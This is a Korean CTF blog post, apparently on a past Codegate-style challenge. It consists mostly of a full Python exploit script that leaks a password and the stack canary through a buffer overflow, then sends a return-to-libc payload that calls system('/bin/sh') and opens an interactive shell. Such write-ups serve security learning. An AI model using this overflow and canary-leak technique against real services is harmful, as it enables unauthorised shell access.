별로 어렵지는 않았지만 argv[0]주소를 찾기 위해 브루트 포싱을 했더니 조금 귀찮았던 문제.
xinetd 데몬으로 돌아가고 있어서 쉘따기가 참 쉬웠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | from hackutil import * from socket import * from time import * from telnetlib import * HOST = '192.168.136.153' PORT = 9880 #======================================= system = 0x08048610 freeadd = 0x0804b0E0 #======================================= banner() print "===================[ Phase 1 : Password leak ]==================" s = socket(AF_INET, SOCK_STREAM) s.connect((HOST, PORT)) s.recv(1024) s.send('A'*0x11d+p32(0x0804b060)+'\n') sleep(0.1) data = s.recv(1024) passwd = data[data.find("***: ")+5:data.find(" terminated")] print "[*] Found Password : "+passwd print "============[ Phase 2 : Ready to RTL, Canary leak ]=============" s = socket(AF_INET, SOCK_STREAM) s.connect((HOST, PORT)) s.recv(1024) s.send(passwd+'\n') s.recv(1024) s.recv(1024) s.send('2\n') sleep(0.2) s.recv(1024) s.send('1\n') sleep(0.2) s.recv(1024) s.send('4\n') sleep(0.2) s.recv(1024) s.send('A'*0x15+'\n') sleep(0.2) s.recv(1024) s.send('/bin/sh\x00\n') print '[*] Inject "/bin/sh"' sleep(0.2) s.recv(1024) s.send('Mini\n') sleep(0.2) data = s.recv(1024) data.encode('hex') canary = data[data.find('AAA\n')+4:data.find('Wow')] if(len(canary)<4): canary = "\x00"*(4-len(canary)) + canary canary = up32(canary)[0] print "[*] Found canary : "+hex(canary) print "==================[ Phase 3 : Attack with RTL ]=================" s.send('3\n') sleep(0.2) s.recv(1024) payload = 'A'*0xd9+p32(canary)+"A"*0xC+p32(system)+"AAAA"+p32(freeadd) print "[*] Length of Payload : "+str(len(payload)) s.send(payload+'\n') print "[*] Payload Injected" sleep(1) s.recv(1024) s.send('0\n') sleep(0.2) s.recv(1024) s.send('1\n') sleep(0.2) s.recv(1024) print "===================[ Phase 4 : Got the shell ]==================" t = Telnet() t.sock = s t.interact() | cs |
'CTF > 지난 대회' 카테고리의 다른 글
Codegate 2013 Prequal - vuln 200 (0) | 2015.11.21 |
---|---|
Codegate 2015 - Bookstore (0) | 2015.11.16 |
Codegate 2013 Prequal - vuln 100 (0) | 2015.10.30 |
PlaidCTF 2013 - pork (0) | 2015.10.29 |
Codegate 2014 - AngryDoraemon (0) | 2015.10.25 |